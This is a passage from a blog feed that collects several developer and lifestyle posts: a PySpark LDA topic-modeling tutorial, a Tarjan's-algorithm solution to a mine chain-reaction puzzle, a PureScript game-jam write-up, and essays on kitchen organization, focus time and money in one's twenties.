This then leaves us with each document represented as a list of words that are hopefully more insightful than words like “the”, “and”, and other small words that we suspect are inconsequential to the topics we are hoping to find. The next step is to then generate our global vocabulary:

# Get our vocabulary
# 1. Flat map the tokens -> Put all the words in one giant list instead of a list per document
# 2. Map each word to a tuple containing the word, and the number 1, signifying a count of 1 for that word
# 3. Reduce the tuples by key, i.e.: Merge all the tuples together by the word, summing up the counts
# 4. Reverse the tuple so that the count is first...
# 5. ...which will allow us to sort by the word count

termCounts = tokens \
    .flatMap(lambda document: document) \
    .map(lambda word: (word, 1)) \
    .reduceByKey( lambda x,y: x + y) \
    .map(lambda tuple: (tuple[1], tuple[0])) \
    .sortByKey(False)

The above code performs the following steps:

Flattens the corpus, aggregating all of the words into one giant list of words
Maps each word with the number 1, indicate we count this word once
Reduce each word count, by finding all of the instances of any given word, and adding up their respective counts
Invert each tuple, so that the word count precedes each word…
…which then allows us to sort by the count for each word.

We now have a sorted list of tuples, sorted in descending order of the number of time each word is in the corpus. We can then use this to remove the most common words, which will most likely be commons words (like “the”, “and”, “from”) that are most likely not distinctive to any given topic, and are equally likely to be found in all of the topics. We then identify which words to remove by setting deciding to remove k amount of words, find the count of word that is k deep in the list, and then removing any words with that amount or more of occurrences in the vocabulary. After this, we will then index each word, giving each word a unique id and then collect them into a map:

# Identify a threshold to remove the top words, in an effort to remove stop words
threshold_value = termCounts.take(num_of_stop_words)[num_of_stop_words - 1][0]

# Only keep words with a count less than the threshold identified above, 
# and then index each one and collect them into a map
vocabulary = termCounts \
    .filter(lambda x : x[0] < threshold_value) \
    .map(lambda x: x[1]) \
    .zipWithIndex() \
    .collectAsMap()

This leaves us with a vocabulary that consists of tuples of words and their word counts, with the most common words removed. The next step is to represent each document as a vector of word counts. What this means is that instead of each document being formed of a sequence of words, we will have a list that is the size of the global vocabulary, and the value of each cell is the count of the word whose id is the index of that cell:

# Convert the given document into a vector of word counts
def document_vector(document):
    id = document[1]
    counts = defaultdict(int)
    for token in document[0]:
        if token in vocabulary:
            token_id = vocabulary[token]
            counts[token_id] += 1
    counts = sorted(counts.items())
    keys = [x[0] for x in counts]
    values = [x[1] for x in counts]
    return (id, Vectors.sparse(len(vocabulary), keys, values))

# Process all of the documents into word vectors using the 
# `document_vector` function defined previously
documents = tokens.zipWithIndex().map(document_vector).map(list)

The final thing to do before actually beginning to run the model is to invert our vocabulary so that we can lookup each word based on it’s id. This will allow us to see which words strongly correlate to which topics:

# Get an inverted vocabulary, so we can look up the word by it's index value
inv_voc = {value: key for (key, value) in vocabulary.items()}

Now we open an output file, and train our model on the corpus with the desired amount of topics and maximum number of iterations:

# Open an output file
with open("output.txt", 'w') as f:
    lda_model = LDA.train(documents, k=num_topics, maxIterations=max_iterations)

    topic_indices = lda_model.describeTopics(maxTermsPerTopic=num_words_per_topic)
        
    # Print topics, showing the top-weighted 10 terms for each topic
    for i in range(len(topic_indices)):
        f.write("Topic #{0}\n".format(i + 1))
        for j in range(len(topic_indices[i][0])):
            f.write("{0}\t{1}\n".format(inv_voc[topic_indices[i][0][j]] \
                .encode('utf-8'), topic_indices[i][1][j]))
            

    f.write("{0} topics distributed over {1} documents and {2} unique words\n" \
        .format(num_topics, documents.count(), len(vocabulary)))

Obviously, you can take the output and do with it what you will, but here we will get an output file called output.txt which will list each of our three topics that we are hoping to see. You can play around with the num_topics to see how the model reacts, but since we know we have discussions that center around three distinct topics, we would have that having 3 topics would reflect that by clustering around words that align with each of those topics separately.

The continuation of this is to gather “unlabeled” data (as much as this can be called labeled), and to use LDA to perform topic modeling on your newly found corpus. I’m still learning on how to go about that, but hopefully this has been of some help to anyone looking to get started with PySpark LDA.

Appendix: Here’s the code

from collections import defaultdict
from pyspark import SparkContext
from pyspark.mllib.linalg import Vector, Vectors
from pyspark.mllib.clustering import LDA, LDAModel
from pyspark.sql import SQLContext
import re

num_of_stop_words = 50      # Number of most common words to remove, trying to eliminate stop words
num_topics = 3              # Number of topics we are looking for
num_words_per_topic = 10    # Number of words to display for each topic
max_iterations = 35         # Max number of times to iterate before finishing

# Initialize
sc = SparkContext('local', 'PySPARK LDA Example')
sql_context = SQLContext(sc)

# Process the corpus:
# 1. Load each file as an individual document
# 2. Strip any leading or trailing whitespace
# 3. Convert all characters into lowercase where applicable
# 4. Split each document into words, separated by whitespace, semi-colons, commas, and octothorpes
# 5. Only keep the words that are all alphabetical characters
# 6. Only keep words larger than 3 characters

data = sc.wholeTextFiles('newsgroup/files/*').map(lambda x: x[1])

tokens = data \
    .map( lambda document: document.strip().lower()) \
    .map( lambda document: re.split("[\s;,#]", document)) \
    .map( lambda word: [x for x in word if x.isalpha()]) \
    .map( lambda word: [x for x in word if len(x) > 3] )

# Get our vocabulary
# 1. Flat map the tokens -> Put all the words in one giant list instead of a list per document
# 2. Map each word to a tuple containing the word, and the number 1, signifying a count of 1 for that word
# 3. Reduce the tuples by key, i.e.: Merge all the tuples together by the word, summing up the counts
# 4. Reverse the tuple so that the count is first...
# 5. ...which will allow us to sort by the word count

termCounts = tokens \
    .flatMap(lambda document: document) \
    .map(lambda word: (word, 1)) \
    .reduceByKey( lambda x,y: x + y) \
    .map(lambda tuple: (tuple[1], tuple[0])) \
    .sortByKey(False)

# Identify a threshold to remove the top words, in an effort to remove stop words
threshold_value = termCounts.take(num_of_stop_words)[num_of_stop_words - 1][0]

# Only keep words with a count less than the threshold identified above, 
# and then index each one and collect them into a map
vocabulary = termCounts \
    .filter(lambda x : x[0] < threshold_value) \
    .map(lambda x: x[1]) \
    .zipWithIndex() \
    .collectAsMap()

# Convert the given document into a vector of word counts
def document_vector(document):
    id = document[1]
    counts = defaultdict(int)
    for token in document[0]:
        if token in vocabulary:
            token_id = vocabulary[token]
            counts[token_id] += 1
    counts = sorted(counts.items())
    keys = [x[0] for x in counts]
    values = [x[1] for x in counts]
    return (id, Vectors.sparse(len(vocabulary), keys, values))

# Process all of the documents into word vectors using the 
# `document_vector` function defined previously
documents = tokens.zipWithIndex().map(document_vector).map(list)

# Get an inverted vocabulary, so we can look up the word by it's index value
inv_voc = {value: key for (key, value) in vocabulary.items()}

# Open an output file
with open("output.txt", 'w') as f:
    lda_model = LDA.train(documents, k=num_topics, maxIterations=max_iterations)
    topic_indices = lda_model.describeTopics(maxTermsPerTopic=num_words_per_topic)
        
    # Print topics, showing the top-weighted 10 terms for each topic
    for i in range(len(topic_indices)):
        f.write("Topic #{0}\n".format(i + 1))
        for j in range(len(topic_indices[i][0])):
            f.write("{0}\t{1}\n".format(inv_voc[topic_indices[i][0][j]] \
                .encode('utf-8'), topic_indices[i][1][j]))
            

    f.write("{0} topics distributed over {1} documents and {2} unique words\n" \
        .format(num_topics, documents.count(), len(vocabulary)))

Mines Chain Reaction

Nicholas Pilkington — Mon, 09 May 2016 06:31:48 GMT

This post is based on a question asked during the Challenge 24 programming competition. Given the locations of a number of land mines as X and Y coordinates and their blast radius R. What is the minimum number of mines that need to be detonated such that all mines are detonated. When a mine is detonated it detonates all mines within its blast radius and the process repeats.

Here’s a simple example with 13 mines. In this case the optimal solution is to detonate mines 0, 3 and 8 which will detonate all others. It’s not the only solution.

The relationship between mines is not commutative. Just because mines A can reach mine B doesn’t mean that mine B reaches mine A. Therefore we can represent the mines as a directed graph where vertices are mines and there is an (unweighted) edge from mine A to mine B if mine A can directly detonate mine B.

In order to solve this problem we first need to compute the strongly connected components in this graph . These are the subsets of mines which if any one is detonated then all mines in the subset will be detonated. In the example image above mines 5, 6, and 7 comprise a SCC as do mines 0, 2, 9, 10, 11 and 12. For simplicity we’ll say that mines on their own are also in SCCs of size 1. In order to compute the SCCs we can use Tarjan’s algorithm which can be implemented recursively or with a stack.

def tarjan(graph):

    index_counter = [0]
    stack = []
    lowlinks = {}
    index = {}
    result = []

    def strongconnect(node):
        # depth index for this node
        index[node] = index_counter[0]
        lowlinks[node] = index_counter[0]
        index_counter[0] += 1
        stack.append(node)

        # Consider successors of `node`
        try:
            successors = graph[node]
        except:
            successors = []
        for successor in successors:
            if successor not in lowlinks:
                # Successor has not yet been visited
                strongconnect(successor)
                lowlink = min(lowlinks[node],lowlinks[successor])
                lowlinks[node] =  lowlink
            elif successor in stack:
                # the successor is in the stack
                lowlink = min(lowlinks[node],index[successor])
                lowlinks[node] = lowlink

        # pop the stack and generate an SCC
        if lowlinks[node] == index[node]:
            connected_component = []

            while True:
                successor = stack.pop()
                connected_component.append(successor)
                if successor == node: break
            component = tuple(connected_component)
            # storing the result
            result.append(component)

    for node in graph:
        if node not in lowlinks:
            strongconnect(node)

    return result

This computes the SSCs for the initial graph. Now we can collapse all vertices in a SCC into a super vertex. Remember detonating any mine in the super vertex will detonate all the other in that super vertex. Then we can create another graph of the super vertices and connect super vertices with a directed edge if any mine in that super vertex can detonate any mine in another super vertex. We now get another directed graph although this one won’t have cycles. Remember if we denote a mine in a connected component it will detonate all mines in that component and all mines in all components reachable from that support node. Here’s an illustration to or the process so far:

We can now work out which mines need to be detonated. In order to do this we can look for all super vertices in this graph that have a zero in-degree. This means that they aren’t reachable by any sequence of mine detonations and thus need to be detonated themselves. One solution is to detonate mines: 0, 3 and 8. There are actually multiple solutions. We can see this for example by considering the case where all the mines are within blast radius of all others and thus form one strongly connected components. In this case we could choose any mine to start the chain reaction.

In the competition the test cases got really large. The smallest had 500 vertices and the largest had 800,000 vertices. Tarjan’s algorithm is really fast and runs in O(N). Similarly the degree counting can also be done in O(N). The slowest part it actually creating the initial graph which when done naively takes O(N^2). In order to process the larger test cases we need to use a range query structure like a KD-Tree to query all mines within R of a specific mine in logarithmic time. Reducing the processing to O(N log N). A simpler approach than implementing a KD-Tree is to sort all the mines by their X coordinate and only consider partner mines that are within X*X < R*R of original. With randomly spaced data this gets you close to O(N log N) without too much more coding. The problem set is available here.

This type of analysis is useful in considering the distribution of information through a network. If the initial graph represented people and edges represented the people with whom they shared information. Then the source nodes are the minimum set of people that need to be given information such that it is transferred through the whole network.

What I've learned from cooking in 36 kitchens in the last year

Josh Thompson — Mon, 09 May 2016 03:00:00 GMT

Since we’ve been on the road full-time for the last year, Kristi and I have prepared meals for (usually) ourselves and (sometimes) others in 36 (!!!) kitchens.

Sometimes we’ve used a kitchen for just one night, sometimes it’s every night for two months.

Needless to say, we’ve seen many things we like, and many things we don’t like, about kitchens.

Part of me says “Josh, this is the dumbest thing ever to write about. Kitchens don’t matter”

Then I think “well, we all spend a lot of time in a kitchen, and depending on how you interact with one, a kitchen can make you both healthy and rich.”

(Eating at home is cheap and healthy, which is generally better than the expensive and unhealthy alternative.)

So, a kitchen is where you apply your skills to your ingredients to fuel your body, and hopefully do all of this in a frustration-free way.

Skills

Go read The Four Hour Chef.

Great! Now you’ve got skills, and if you followed along with his recommendations, you’ve also got a functional kitchen.

Ingredients

I can’t help you with. I still find grocery shopping for new meals to be quite challenging. So, I generally cook the same few things over and over. ~Breakfast and lunch is always the exact same, every day. Omelet with a meat and veggies.~ I’m vegetarian-ish (since 2017), and do the “intermittent fasting” thing (since 2016).

Dinner varies through four meals or so.

Kitchen Organization and Layout

This I can talk about!

Kristi and I have a running list of things we do and don’t like in kitchens, so when we get to put our own kitchen together again, we can have something that we really like.

Most of the items on our list (and there are many items on that list) fall under just a few general themes:

Hang as much from walls as possible.

Pots and pans take up space in cabinets, and you are always nesting the one you use most often under the other two you don’t use as much, so you move the same items 2x/day for no good reason. So, hang them from a wall, like with one of these or ideas from here.
A magnetic knife rack saves your knives from banging against each other in a drawer, and from bacteria in a knife block. Plus they look cool. Here’s The Kitchn on knife racks.
Mount a paper towel dispenser on the wall, or under a counter, but mount it securely or you’ll rip it out of the wall/counter some day. I used this one for ages, and loved it.

If these three things are mounted on a wall (and extra rack space given to spatulas, spoons, etc) you’ve made HUGE progress in creating more space in your cabinets, and you can easily get to the pots and pans you use the most without struggling to free them from under other pans.

Josh, this is all well and good, but I’m in an apartment, I can’t be putting big holes in walls.

They don’t need to be big. Everything that was really heavy I mounted with either this or some of these. You can repair the holes yourself, if you want, after you move out.

Here’s a good guide to hanging stuff.

Worse case, the company/landlord withholds some (or all of) your security deposit. One apartment I left a bunch of holes in the wall, I think I lost $100 of my security deposit. That averaged out to $4/month for the privilege of my kitchen being a pleasant space to work. What’s life without breaking some rules now and again? I guarantee you’re a better tenant that most landlords are used to, so they won’t be too upset.

Have as little on your countertops as possible

When you’re cooking, you need cutting boards, or space for jars, or bags of various things. You can always use more space. So, don’t cause yourself frustration by leaving non-essential items on your countertops. Common offenders are:

Knife blocks
Jars full of infrequently-used ingredients, like flour, salt, and sugar, rice, pasta, assorted teas
Infrequently used appliances
Spice rack
paper towel holder
Soap dispensers (i’ll address this in a moment)
Drying rack
Potted plants
More appliances
boom boxes/radios (not kidding at all here)
cup racks
misc. junk spillover that should be elsewhere. (Mail, pill containers, etc)

All this stuff complicates your kitchen for several reasons:

You can’t use your space as well as you want, when it’s most important. (while cooking!)
It’s much harder to clean after cooking, because you have to move a dozen things or so to wipe down a countertop.

This creates friction between you and cooking, which is bad, because cooking makes you health and rich, remember?

Make cleanup as easy as possible

Cooking is not easy, but doing a huge pile of dishes in a space that is not conducive to cleaning dishes makes it 10x worse.

The first offender here is a split sink. I don’t know why split sinks are so common. It seems to be that people like using the 2nd side as a drying rack, but I think that’s sacrificing a huge amount of valuable space for something that can be had on the counter next to the sink. If you’re remodeling a kitchen, just buy a $20 drying mat (I used this one for years, loved it) and get an extra large, extra deep sink.

It doesn’t matter. No one is going to change their sink because they read an article, so lets just do the best with whatever kind of sink you’ve got. There’s plenty of room to optimize.

Have a good sponge

They cost almost nothing, but are the thing that does all the work of cleaning. Buy in bulk, and liberally throw them out as they get old and smelly. Get something that has an abrasive pad on one side. They’re yellow and green, and cheap.

Don’t scorn rubber gloves

When I can, I use dishwashing gloves. The ones I own are usually yellow or pink. Some people laugh, and then I explain: I like hot water, and all the soap and water and grease is rough on my hands. I rock climb, a lot, and spend an unusual amount of time working about skin quality.

Once I started doing dishes with rubber gloves, I never wanted to go back. They cost a dollar or three, last ages.

Have one-handed soap dispensers

Imagine you’ve got one hand on a dish, and the other hand is holding a sponge. You need more soap on the sponge. What do you do?

Put dish down, use still-dirty/wet/soapy hand to grab soap container, invert said container over sponge, squeeze out some soap, replace container on counter, pick up dish again, and resume cleaning
With one hand, press down on a soap dispenser into your sponge, and resume cleaning.

Something like this will help doing dishes be less unfun.

Have a good place to dry dishes

I’ve mentioned this drying mat before, I’ll mention it again. I’ve found drying rack preferences to be deeply personal and contentious, so… you do you.

Wipe down your counters with one hand

Cleanup is way more than just dishes, you need to clean work surfaces. This soap dispenser allows you to press a folded paper towel into the top of it, and it dispenses lysol. This was one of two things we kept on our counters full-time, and it made wiping down the counters SO EASY.

Put your trashcan close to your sink

Generally, any time you move stuff from your sink to your trash, it’s gross. It’s food stuck in a strainer, or something covered in raw meat juice, or something else. The last thing you want to do is cross your kitchen dripping gross liquid across your floor. So, if you have a “mobile” trash can, make it easy to put next to the sink, and make sure it’s something you can operate with one foot.

note: most pedal-operated trashcans don’t work. They either slide out of the way, or don’t open all the way, and you have to help the lid open the rest of the way. This is not ideal.

Conclusion

If your kitchen is easy to use, you’ll use it. Make things accessible, empty your counters, and set yourself up for success with your dishes.

If you do these three things, you’ll have a kitchen better configured than almost everyone out there.

Good luck.

Resources

Ikea’s kitchen guide is a great place for ideas
The Kitchn has a nice collection of ideas. (Yes, I’ve spent hours browsing “kitchen organization ideas” and “cute ways to organize a small kitchen”. What about it?)
Simple Human makes lovely things

My Crazy Speaking Month

Nicola Iarocci — Mon, 09 May 2016 03:00:00 GMT

April was definitely my crazy Speaking Month. After an almost one year long self-imposed conference hiatus, I was challenged to deliver four different talks, attend two discussion panels, give one live demo and release one interview. All in a three weeks period span. First I went to PyCon Sette in Florence. A few days later a plane took me to St. Petersburg, Russia, for PiterPy. Finally, the next weekend I was in Rome for the Western Europe Microsoft MVP Community Day. In the meantime several Channel 9 TecHeroes episodes were due for release. This was of course super exciting. And challenging.

Focus time assets

D13V — Mon, 09 May 2016 03:00:00 GMT

In the finance world, it is well defined which investments are assets and which are liabilities. If an investment brings a net positive income over time, it is an asset. Otherwise, it is a liability, something to pay for every month - an outgoing cost.

Why would you ever have a liability? It is a bad idea. Every month you are losing money on it.

One reason is that there might be something non monetary that you are getting out of it. For example, a house can be a warm and dry place to rest.

Another reason is to have committed to liability in the past. Lets say you sign up a car lease. Usually these require minimum number of 2 or 3 years. So during that time you have to keep paying the monthly fee. It is a liability.

So it isn’t necessarily that a liability is always bad. It is bad, when the non monetary value it provides is too low. The liability becomes a burden and drags its owner. Leased car provides a means for transportation. So if the transportation is really valuable for you, and that remains true for the duration of the lease, then it is actually a net asset.

If we could put a money value on having a roof and transportation, then evaluating such investments would be a simple balance sheet exercise.

But not everything has an exact price tag. There are other dimensions besides money.

One of those is time. We all have the same amount of time income per day - twenty four hours.

We have sleep time-liability. Usually this amounts to about 8 hours per day. Sleep has high interest rate. When we under-sleep for a couple of days in a row, all our mental and physical abilities diminish. We pay the interest as decreased performance, and we still need to catch up on the sleep.

Then, we have nutrition liability. We usually satisfy this by eating food. Food also has large effect on our ability to use our time. When we over-eat we can enter food coma. When we under-eat, we get distracted by hunger and it is easier for us to make impulsive decisions. One of my rules of thumb in life is to never go shopping hungry. I’ll write about it some other time.

Then… there is nothing else. Every other time commitment is something that we optionally fall into. Sleep and nutrition are the only requirement for survival.

Social obligations, career, education, exercise, leisure - these are all ways we choose to spend our time. We can skip any of the above, or vary the amount that we do in our lives.

Often, we get other stuff in return. Like money. Or knowledge. Or opportunities.

The most common trade we do with our time is to trade it for money. We go into our career and perform the requested work, and get paid in money. Then, we can use these money to trade it for some other things. This is often how we get nutrition. Of course, it is possible to grow your own nutrition in your garden, but almost all of food people eat in the world they buy with money.

Money is a currency - we can exchange it for other things. We can exchange time for money, if we have a marketable skill. But we can also obtain money from other money. When money buys capital, this capital can generate more money.

Capital is a “money-asset”. Capital can generate money on a regular basis.

I’d like to talk about time-assets. Generally, the concept of time asset doesn’t make sense. We all have a fixed twenty four hours a day. The only way to get less, is to be traveling at the speed of light. See “Twin Paradox” to see how. But this doesn’t often happen to us. We have generally all have the same twenty four hours, every day.

We can’t earn more, or remove time. Whether we want more or less, we get twenty four hours. Deal. Done.

So when I talk about time assets I will make distinction between different types of time. Lets start with a simple example. We can have “focused time” and “unfocused time”. Focused time is the time during which we can operate well and achieve what we need to achieve.

So when we say stuff like “My time is worth $20/hour,” we actually mean that our focused time is worth that much. Unfocused time is worth zero. Nobody would pay us money to sit there and do nothing. Or even worse, to do a detrimental job.

If focused time is good, how do we get more of it? And aren’t we limited by the same twenty four hours limit? We are, but there are different levels of focus and ability that we could achieve. As we fill up a given level, to the most of our time, we can start leveling up our focused time. And we can repeat this process multiple times over.

So lets consider some focus-time-investments.

First, coffee. I love coffee. It is delicious and it helps me focus and do a lot. But it is a zero-sum game. I can get some focused time at the moment, at the expense of laziness later on. It is only helpful in the short term. And the same applies to all forms of caffeine.

Next, meditation. I find that meditation clears my mind, reduces my anxiety and improves my ability to focus for hours. Meditation is more powerful than coffee because for the twenty minutes spent meditating I can get multiple hours of focus. It usually amounts to a little bit more than coffee. YMMV.

Then exercise. Having enough exercise provides enough energy to the body, but having too much might incapacitate you for a while. Usually I feel exhausted after a long bike ride and unable to focus much. The benefits of exercise are definitely present, but only further in the future. Only after the physical recovery it is possible to get the increased focus. The body then works better and you have more energy.

TV, and media in general are a focus liability. Getting useless information is not just neutral, it is damaging. We have to do extra work to clean up this information for our mind. Sometimes we get tricked by advertisement in media to make bad decisions. Some of them reduce our ability to focus. Others require a lot of our time to maintain. Having less available time means less focused time.

I’d like to talk more in detail about the different types of focus assets and liabilities, but this post is getting too long. Next time, more.

Ludum Dare 35 post-mortem and things I learned using PureScript

λm.me — Mon, 09 May 2016 03:00:00 GMT

I did not plan on participating in The last Ludum Dare #35 which started around three weeks ago. Ludum Dare more often than not comes at a very inconvenient time for me. It usually starts at around 5am on Saturdays and carries over until around that time on Tuesdays, Since I am working on Sundays the only free time I have to work on LD without taking vacation from work is Saturday and Sunday/Monday evenings. This LD was no exception.

Usually, one of the hardest parts about LD for me is thinking about an idea for a game. On LD 34 I spent most of Saturday deciding on an idea. This time, after discovering the theme for LD35 (Shapeshift), An idea for a game that I could implement in a short amount of time came to me almost immediately.

My idea was making a trivia-like game where one needs to choose the right shape to pass through a wall, similarly to a few game shows I once saw on TV. This idea for a game was pretty simple to implement from scratch: No need for fancy graphics or game mechanics - just a few shapes on the screen.

I figured it will take me around 8-10 hours to implement a basic version of the game. Since it was an acceptable amount of time for me, I decided to go for it and participate.

My weapon choice these days for making games for game jams is PureScript. Since PureScript compiles to JavaScript it is simple for others to play without needing to download anything and it's purely functional as well, just the way I like it.

My workflow was basically writing the code in Emacs in one window and running pulp server in a terminal. pulp server automatically re-compiles a project when a source file changes and serves it over http. So all I had to do is make some changes, save the file and refresh the browser. If the project failed to compile, pulp would print the error messages.

The first thing I started with is assembling the game loop using Signals, that basically means declaring some state type, creating an input signal, and making a loop that will update the state according to the input and will render to canvas.

After that, I started creating the "assets" - the shapes I was going to use in the game. I made the few shapes I wanted to use using combinators from purescript-drawing and started playing with them on the screen, seeing how the move and change when I press the buttons on my keyboard and adjusting accordingly.

The next few steps were pretty standard: Add more data to the global state like current shape, the questions, the wall, etc, adding the logic to the state update function and deciding how to draw the state. A few hours spent and I had a working game.

There were, however, a few more features that could make the game a bit more interesting. I could let the users create their own trivias, and I could also add some sounds to the game. To do these I'd first have to learn a bit about fetching data from the outside world and parsing JSON in purescript, I'll also need to learn how to play sounds (which actually led me to learn how to wrap an existing javascript library and use it from purescript).

I had one evening for each problem, I'd need to learn these features and use them. I'd like to share with you the few things I learnt :)

How to make user questions?

My approach was:

Get a url to a JSON defining the questions as a query parameter
Retrieve the data from that url
parse it to a purescript data structure

Let's go over the stages one by one.

1. Get a url to a JSON defining the questions as a query parameter

To do this I needed to use the following packages:

purescript-dom - getting the query parameters string
purescript-uri - parser for the query string
purescript-string-parsers - actually running the parser

Here is a snippet that gets the query string parameters as a mapping from query name to value.

module QueryParams where

import Prelude
import Data.Either (Either)
import Control.Monad.Eff (Eff)

import DOM (DOM)
import DOM.HTML (window)
import DOM.HTML.Window (location)
import DOM.HTML.Location (search)

import Data.URI.Query (parseQuery, Query)
import Text.Parsing.StringParser (runParser, ParseError)

queryParams :: forall e. Eff ( dom :: DOM | e ) (Either ParseError Query)
queryParams = map (runParser parseQuery) (window >>= location >>= search)

2. Retrieve the data from a Url

This is dead simple using purescript-affjax. All that is needed is to write get url and affjax will fetch it for you.

3. Parse the data

So I (maybe) got a JSON containing questions and answers, how do I parse it?

First, let's see the model for the Q/As:

newtype QA = QA
  { question :: String
  , answers  :: Array Ans
  }

newtype Ans = Ans (Tuple Boolean String)

type QAs = Zipper QA

where Zipper is a common zipper data structure. You can see the implementation of it here.

Let's look at an example input we are planning to parse:

[{
    "question": "1 + 1 =",
    "answers": [{
        "correct": true,
        "value": "2"
    }, {
        "correct": false,
        "value": "3"
    }]
}]

This is already pretty simillar to QA, the only difference is that QAs is using a Zipper and not an Array as the JSON. we can fix this easily:

toQAs :: Array QA -> Maybe (Zipper QA)
toQAs as = case uncons as of
  Just {head: x, tail: xs} -> Just $ fromArray x xs
  Nothing -> Nothing

But first, we need to parse the data. The purescript-foreign package contains a function readJSON which can try to parse this object as a type that implements the IsForeign typeclass. Because we need it to parse Array QA, we need Array QA to have an instance of IsForeign. Fortunately, most basic types in purescript already have an instance for that class, such as Boolean, String and IsForeign a => Array a. So all that is needed is to implement an IsForeign instance for the types QA and Ans.


instance ansIsForeign :: IsForeign Ans where
  read value = do
    q <- readProp "correct" value
    v <- readProp "value" value
    pure $ Ans (Tuple q v)

instance qaIsForeign :: IsForeign QA where
  read value = do
    q <- readProp "question" value
    as <- readProp "answers" value
    pure $ QA { question: q, answers: as }

Now we can just use readJSON to try and parse the result we get from affjax's get, and that's it!

Playing Audio

For the second interesting part, we'll look at how to wrap a function or two from a javascript library.

To play audio in the browser I have chosen to use howler.js, mainly for it's ease of use. Fortunately at the time bindings for such library were not available in purescript so I got to learn how to wrap it myself.

Looking at the documentation of howler.js, I basically needed only two things, how to create a sound from url and how to play it. Let's form this API in purescript before continuing.

Creating and playing sounds are basically effects, so we would like to tag them as such. to define and effect we give it the kind !

foreign import data SOUND :: !

We would also like a type to represent the sound object we create in javascript:

foreign import data Sound :: *

Next, let's create the signature for the javascript functions we are going to use. We'll declare the effects we are going to use, the inputs and the output.

foreign import newSound  :: forall e. String -> Eff (sound :: SOUND | e) Sound
foreign import playSound :: forall e. Sound  -> Eff (sound :: SOUND | e) Unit

This is basically all we need from the purescript front!

module Sound
    ( Sound
    , SOUND
    , newSound
    , playSound
    ) where

import Prelude (Unit)
import Control.Monad.Eff (Eff)

foreign import data SOUND :: !

foreign import data Sound :: *

foreign import newSound  :: forall e. String -> Eff (sound :: SOUND | e) Sound
foreign import playSound :: forall e. Sound  -> Eff (sound :: SOUND | e) Unit

Now for the javascript front:

"use strict";

// module Sound

exports.newSound = function(url) {
    return function() {
        return new Howl({ urls: [url], volume: 0.15 });
    };
};

exports.playSound = function(soundObj) {
    return function() {
        return soundObj.play();
    };
};

A few things to note:

The // module Sound is important, it declares the name of the module for purescript [Update: No longer needed in 0.9]
exports.<function-name> exposes that function in the module so we can import it from purescript
When representing effectful functions, we need to wrap the body of the function in return function() { } (more about that here)

Now we can use our new library and play music from purescript!

This eventually lead me wrap a little more of howler.js for your convenience. You can find the bindings here.

Conclusion

I had a very pleasant experience using purescript for Ludum Dare this time, and I would like to thank to the people at #purescript in freenode who helped me a lot during the jam. If you ever get stuck in something purescript related, you should definitely consider seeking help in the channel. There are a lot of really nice people always willing to help :)

And, of course, I almost forgot! Here is a link to my game. You can also view the source at the github repo.

Building your snap on-device? There's a better way

kyrofa's blog — Mon, 09 May 2016 03:00:00 GMT

I’m currently the maintainer of the ownCloud snap. One of the primary target devices for this snap is a Raspberry Pi 2, which is of course armhf. Snapcraft solves a lot of problems when building snaps, but one issue it doesn’t solve is cross-building (i.e. building on one architecture while targeting another). Back in Snappy Ubuntu Core 15.04, every ownCloud release I made for armhf was built on the Raspberry Pi 2.

RoutingHTTPServer snippet

xenodium.com @alvaro — Sun, 08 May 2016 03:00:00 GMT

RoutingHTTPServer snippet:

RoutingHTTPServer *routingHTTPServer = [[RoutingHTTPServer alloc] init];
[routingHTTPServer setPort:8000];
[routingHTTPServer setDefaultHeader:@"Server" value:@"YourAwesomeApp/1.0"];
[routingHTTPServer handleMethod:@"GET"
                       withPath:@"/hello"
                          block:^(RouteRequest *request, RouteResponse *response) {
    [response setHeader:@"Content-Type" value:@"text/plain"];
    [response respondWithString:@"Hello!"];
  }];
NSError *error = nil;
if (![routingHTTPServer start:&error]) {
  NSLog(@"Error starting HTTP Server: %@\n", error);
 }

Twenties vs. Thirties (from a feeling-behind-the-curve 27 year old.)

Josh Thompson — Sun, 08 May 2016 03:00:00 GMT

Some months ago I found a very encouraging article, comparing one’s twenties to one’s thirties. I’ve scoured everywhere that I stick notes and interesting reads, and cannot, for the life of me, find the article.

The internet is littered with tons of fluff pieces talking about sex and drinking, and comparing those in your twenties to those in your thirties, but I couldn’t find much of substance.

The one piece I found on money was dismal.

Now, to be fair, what I’m finding is what’s foisted upon me by HuffPo’s SEO, and these fluff pieces get lots of links and shares, so they ride to the top of Google’s rankings.

I still can’t stand it. Not because it’s wrong, but because there is this pervasive notion that the twenties are supposed to be the highlight of our lives, and after that, it’s just work and misery, and trying to coast through life while still scraping together some fun weekends drunk.

But Josh, we all know that’s not true. I’m in my twenties, and I know this isn’t the peak of my existence.

Yes. I know this too. But I find myself slipping into this sense of “time is running out” to accomplish all that I’ve ever wanted to accomplish… by the time I’m 30. (I’m 27, by the way.)

This article on “If you’re saving in your 20’s, you’re doing it wrong” made the rounds a few months ago. The author argues:

Your 20s are not the time to save; they’re the time to gamble. $200 a month isn’t going to make the dent that a $60,000 pay raise will after spending all those nights out networking.

and

When you have something to bank on, you have nothing to reach for. When you have nothing to lose, you have everything to gain.

She’s right that $200/month won’t immediately make you rich, and that a $60k pay raise might. But the two are connected. Mr. Money Mustache wrote a delightful response, If You’re Not Getting Rich in your 20s, You’re Doing it Wrong.

Here’s the thing about your 20s. They are the time to work. The very, very best time in your life to work your ass off and create an exponential snowball of money, skills, and friendships.

So, we’re moving somewhere. We can discard the crap BuzzFeed pieces about alcohol tolerance in your thirties, and we know that we should be doing something in our twenties (besides spending all the money we make), and we’ve got people like Mr. Money Mustache and The Financial Diet (rebuttal title: If You Don’t Have Savings In Your 20s, You’re A Fucking Idiot)

The idea of “investment” threads through all these pieces. The “don’t save anything” piece thinks that by saving, you’re unable to invest in things that will provide a greater return down the road. The authors of the rebuttals argue that you can simultaneously save and invest, and that maybe even by saving more, you’re better equipped to invest more.

I’m “sold” on the idea on investing right now.

I will gladly invest my time, money, and effort into things that will build capacity down the road. Heck, the words you’re reading right now count as an investment - I want to be a better communicator, so here I am communicating. The first piece won’t be good, but maybe once I’ve written a thousand things I’ll be bit better.

But this is a time of investment. I keep finding myself concerned that because I’ve done done one thing or another, I’ll probably never do it. I’ve got plenty of goals, and if I accomplished them all by the time I was 30, who knows what else I’d work on. So, my recommendation to myself (and to you, if we’re in the same boat):

Be consistent in making small, regular investments across many domains today. Don’t worry about what will come of it just yet. You’ve got time to let things grow.

Save hundreds by being willing to spend $20

Josh Thompson — Sat, 07 May 2016 03:00:00 GMT

When you pack for a trip, you pack “just in case” items, right? Things that in a certain situation would be priceless. Think “umbrella” or “underpants”.

